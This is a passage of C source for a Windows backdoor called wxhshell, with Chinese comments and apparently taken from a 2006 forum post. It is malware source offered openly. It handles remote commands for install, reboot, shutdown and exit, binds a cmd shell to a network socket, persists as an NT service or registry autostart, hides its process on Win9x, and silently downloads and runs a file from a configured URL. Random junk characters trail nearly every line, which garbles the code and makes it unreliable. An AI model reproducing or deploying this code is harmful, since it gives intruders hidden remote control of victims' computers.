      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @`6}`k  
    break; X6'H`E[  
  }  e#1.T  
  // 安装 alV dQfu  
  case 'i': { 3EI]bmi~  
    if(Install()) S.1( 3j*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Yd4gaY\o  
    else P:qz2Hw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nX)f'[ 7  
    break; g@Ld"5$^2  
    } &Bm&i.r  
  // 卸载 02(h={  
  case 'r': { BGN9, ii  
    if(Uninstall()) qIz}$%!A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Z >  
    else 9j0o&Xn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CG.,/]_  
    break; S"Kq^DN  
    } f9a$$nb3`  
  // 显示 wxhshell 所在路径 >otJF3zw   
  case 'p': { 7LfcF  
    char svExeFile[MAX_PATH]; iKhH^V%j  
    strcpy(svExeFile,"\n\r"); *Z; r B  
      strcat(svExeFile,ExeFile); HAd%k$Xu{  
        send(wsh,svExeFile,strlen(svExeFile),0); `UQEXoB)  
    break; 1 =^  
    } sCkO0dl8  
  // 重启 (vnoP< 0  
  case 'b': { oPsK:GC`U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NCn`}QP  
    if(Boot(REBOOT)) "H$@b`)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ADLMj`F|  
    else { L:pUvcAc?  
    closesocket(wsh); O>%$q8x@i  
    ExitThread(0); m<3w^mww  
    } x)_r@l`$ix  
    break; []gRfM]$&  
    } 2QL?]Vo  
  // 关机 \sITwPA[z  
  case 'd': { ' Rc#^U*n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z%OW5]q  
    if(Boot(SHUTDOWN)) b)`pZiQP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Mw'eQ0(y  
    else { ws[/  
    closesocket(wsh); 7E\g &R.  
    ExitThread(0); T)~!mifX  
    } -=a[J;'q  
    break; #|?8~c;RWG  
    } (0R2T"/  
  // 获取shell xp^ 7#`MJ?  
  case 's': { e1UITjy  
    CmdShell(wsh); f3 vF"O  
    closesocket(wsh); p?kvW42/  
    ExitThread(0); ^KbL ,T  
    break; v%nP*i9  
  } $''UlWK  
  // 退出 ?A&%Cwj  
  case 'x': { G|*G9nQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XXm'6xD-  
    CloseIt(wsh); bcn7,ht  
    break; #A )Ab%r8"  
    } 7]Rk+q2:  
  // 离开 |z*>ixK  
  case 'q': { j8a[ (  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g YUTt  
    closesocket(wsh); 7 >bMzdH  
    WSACleanup(); $w/E9EJ)3A  
    exit(1); +>}o;`hPe  
    break; R$d7\nBG  
        } P#;Th8k{K2  
  } kC`Rd:5  
  } zN")elBi  
X}W)3v  
  // 提示信息 ^1 ;BiQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P,ydt  
} i/*,N&^  
  } )i-gs4[(QN  
Mq'IkSt'  
  return; vxVOcO9<  
} >f@ G>H)+  
y\,f6=%k  
// shell模块句柄 " #v%36U  
int CmdShell(SOCKET sock) 3[VNsX  
{ ;7j,MbU  
STARTUPINFO si; `HyF_m>\  
ZeroMemory(&si,sizeof(si)); J^:n* C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M4:s;@qZ.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d.AC%&W  
PROCESS_INFORMATION ProcessInfo;  :,~K]G  
char cmdline[]="cmd"; E}YI WTX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9!#EwPD$#  
  return 0; n[CoS  
} M*`hDdS  
y/tSGkMv  
// 自身启动模式 $r15gfne>  
int StartFromService(void) h.}u?{  
{ (w$'o*z;(  
typedef struct ;==j|/ERe  
{ cmDT +$s  
  DWORD ExitStatus; +`}o,z/^  
  DWORD PebBaseAddress; N2FbrfNFa  
  DWORD AffinityMask; ;s_"{f`Y6  
  DWORD BasePriority; 1tGgDbJU  
  ULONG UniqueProcessId; MI*Sq\-i  
  ULONG InheritedFromUniqueProcessId; !y[3]8Xxv  
}   PROCESS_BASIC_INFORMATION; u"Y]P*[k  
Nfaf;;J}  
PROCNTQSIP NtQueryInformationProcess; [K:29N9~4  
 =:~(m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CXAVGO'xw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |}Ph"g2D,  
&,MFB  
  HANDLE             hProcess; m\-PU z&C  
  PROCESS_BASIC_INFORMATION pbi; -_>.f(1  
moG~S]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !\x?R6K  
  if(NULL == hInst ) return 0; U=m=1FYaG  
m&/=&S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~kb{K;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PeNF+5s/K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _ECB^s_  
R=$Ls6z  
  if (!NtQueryInformationProcess) return 0; Qxq-Mpx{  
h<NRE0-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nzuF]vo  
  if(!hProcess) return 0; xS+rHC  
~Z/7pP+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "% Y u wMY  
>| m.?{^  
  CloseHandle(hProcess); "b%FmM  
0( //D;j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WeVi] n  
if(hProcess==NULL) return 0; : Ss3ck*=  
n)RM+g  
HMODULE hMod; 3U;1D2"AE  
char procName[255]; BIfi:7I;Q  
unsigned long cbNeeded; CDCC1BG"  
G Y-M.|%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RxG^  
;_tO+xL&  
  CloseHandle(hProcess); ,8##OB(  
DsQ/aG9c%  
if(strstr(procName,"services")) return 1; // 以服务启动 hW' HT  
%\I.DEYH  
  return 0; // 注册表启动 mx}E$b$<CY  
} 6Xa.0(h  
 SFpQ#  
// 主模块 ~:Mm<*lL%  
int StartWxhshell(LPSTR lpCmdLine) }N,>A-P  
{ e{!vNJ0`  
  SOCKET wsl; VMHC/jlX@r  
BOOL val=TRUE;  Zi4d]  
  int port=0; :-Wv>V\t  
  struct sockaddr_in door; UvBnf+,  
o^GC=Aca`  
  if(wscfg.ws_autoins) Install(); Kz[BB@[  
#{,h@g}W  
port=atoi(lpCmdLine); KY+]RxX  
o0`q#>7!_b  
if(port<=0) port=wscfg.ws_port; rBfg*r`)  
GAp!nix6h  
  WSADATA data; LdEE+"Jw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #U@| J}a  
VQ<5%+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VGZ6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qd(hQsfqYU  
  door.sin_family = AF_INET; |M E{gy`5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w1i?# !|  
  door.sin_port = htons(port); ]>8)|]O6n  
dtTlIhh1V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~6d5zI4\  
closesocket(wsl); plXG[1;&G  
return 1; .Dx2 ;lj  
} }cW#045es  
=l,#iYJP8  
  if(listen(wsl,2) == INVALID_SOCKET) { q[c Etp28h  
closesocket(wsl); 5-w:c>  
return 1; f3 &/r  
} |!Ists  
  Wxhshell(wsl); A.U'Q|  
  WSACleanup(); @vAFfYU9<.  
bn-=fb(  
return 0; sTOFw;v%  
CQ>]jQ,2  
} 4B$bj `h  
WG%2<Q^  
// 以NT服务方式启动 ,q</@}.\wN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n7DLJ`ho{  
{ 2AK}D%jfc  
DWORD   status = 0; 6x4_b  
  DWORD   specificError = 0xfffffff; kqf8=y  
m6MaX}&zv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6~@5X}^<0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; usH%dzKK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]l&'k23~p  
  serviceStatus.dwWin32ExitCode     = 0; __(V C :  
  serviceStatus.dwServiceSpecificExitCode = 0; all*P #[X  
  serviceStatus.dwCheckPoint       = 0; }Vl^EAR  
  serviceStatus.dwWaitHint       = 0; V6*?$o  
1b[NgOXY=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c F=P!2 @  
  if (hServiceStatusHandle==0) return; P` ]ps?l  
fIkT"?  
status = GetLastError(); 3EOyq^I%  
  if (status!=NO_ERROR) }]GbUC!Zb  
{ J6auUm` `  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4J}3,+  
    serviceStatus.dwCheckPoint       = 0; !. eAOuq  
    serviceStatus.dwWaitHint       = 0; "TFwHe3C4  
    serviceStatus.dwWin32ExitCode     = status; 26PD[af64O  
    serviceStatus.dwServiceSpecificExitCode = specificError; [*HiI=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j@t{@Ke  
    return; |j# ^@R  
  } ccMd/  
[q"NU&SX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AT ymKJ  
  serviceStatus.dwCheckPoint       = 0; iNLDl~uU  
  serviceStatus.dwWaitHint       = 0; pVz*ZQ[]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PWG;&ma  
} {(0Id!  
fTgbF{?xh  
// 处理NT服务事件,比如:启动、停止 }4KW@L[g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '!@A}&]  
{ 8Fx]koP.  
switch(fdwControl) mu>] 9ZW  
{ A]xCF{*)&  
case SERVICE_CONTROL_STOP: . s-5N\  
  serviceStatus.dwWin32ExitCode = 0; xB,/dMdTj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e5L 1er;6  
  serviceStatus.dwCheckPoint   = 0; -XW8 LaQB  
  serviceStatus.dwWaitHint     = 0; W5X7FEW  
  { Tzf$*Uje3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8_ X.c  
  } xT=ySa$|>  
  return; nl9kYE [  
case SERVICE_CONTROL_PAUSE: c(&AnIlS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rkIMM,   
  break; |0]YA  
case SERVICE_CONTROL_CONTINUE: dk:xnX%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rXDJ:NP  
  break; @ExLh9  
case SERVICE_CONTROL_INTERROGATE: `u=oeM :  
  break; 5"uNj<.V  
}; y($EK(cb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3P`WPph  
} ZQ|gt*  
`#p< rfe  
// 标准应用程序主函数 z L8J`W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X2{`l8%Ek  
{ QA,*:qx  
q;No"_aAd  
// 获取操作系统版本 D}Au6  
OsIsNt=GetOsVer(); QH:>jmC{1h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cqjl5UB  
``6{T1fQS  
  // 从命令行安装 4UVW#Rw{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1q`k}KMy  
xy vND  
  // 下载执行文件 j@CKO cn2  
if(wscfg.ws_downexe) { G g(NGT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yZ|+VXO  
  WinExec(wscfg.ws_filenam,SW_HIDE); wBE7Bv45  
} ^vG=|X|)c  
X&.:H~xS+  
if(!OsIsNt) { Nuo^+z E   
// 如果时win9x,隐藏进程并且设置为注册表启动 WV@X@]U  
HideProc(); Qxky^:B  
StartWxhshell(lpCmdLine); e`;t<7*i  
} hd8B0eD'  
else y,V6h*x2  
  if(StartFromService()) -EVs@:3]j  
  // 以服务方式启动 VZTmzIk.Y  
  StartServiceCtrlDispatcher(DispatchTable); X'xUwT|_+  
else n_1jHJo  
  // 普通方式启动 /Bh>  
  StartWxhshell(lpCmdLine); 6UO$z-e  
OelU D/[$  
return 0; [.ey_}X8  
}
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只看该作者 1 发表于: 2006-10-10
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